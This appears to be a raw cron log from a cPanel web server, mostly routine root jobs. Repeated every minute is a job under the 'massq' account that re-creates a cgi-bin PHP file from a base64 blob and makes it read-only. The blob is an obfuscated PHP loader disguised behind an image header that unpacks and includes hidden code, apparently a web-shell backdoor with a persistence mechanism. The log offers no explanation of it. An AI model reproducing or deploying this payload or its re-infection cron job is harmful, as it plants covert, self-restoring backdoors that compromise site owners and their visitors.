Sep 12 05:42:01 server CROND[7275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:42:01 server CROND[7274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:42:01 server CROND[7276]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:42:01 server CROND[7277]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 05:43:01 server CROND[7664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:43:01 server CROND[7665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:43:01 server CROND[7666]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:44:01 server CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:44:01 server CROND[8028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:44:01 server CROND[8029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:45:01 server CROND[8397]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:45:01 server CROND[8400]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:45:01 server CROND[8402]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:45:01 server CROND[8401]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:45:01 server CROND[8399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:45:01 server CROND[8405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:45:01 server CROND[8406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:46:01 server CROND[9222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:46:01 server CROND[9223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:46:01 server CROND[9224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:47:01 server CROND[9696]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:47:01 server CROND[9695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:47:01 server CROND[9697]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:48:01 server CROND[10104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:48:01 server CROND[10105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:48:01 server CROND[10106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:49:01 server CROND[10512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:49:01 server CROND[10513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:49:01 server CROND[10514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:50:02 server CROND[10980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 05:50:02 server CROND[10981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 05:50:02 server CROND[10985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:50:02 server CROND[10991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:50:02 server CROND[10989]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 05:50:02 server CROND[10988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 05:50:02 server CROND[10992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:50:02 server CROND[10987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 05:50:02 server CROND[10986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 05:51:01 server CROND[11845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:51:01 server CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:51:01 server CROND[11846]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:52:01 server CROND[12325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:52:01 server CROND[12324]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep 12 05:52:01 server CROND[12328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:52:01 server CROND[12329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:53:01 server CROND[12941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 05:53:01 server CROND[12942]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 05:53:01 server CROND[12943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:54:01 server CROND[13319]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 05:54:01 server CROND[13320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
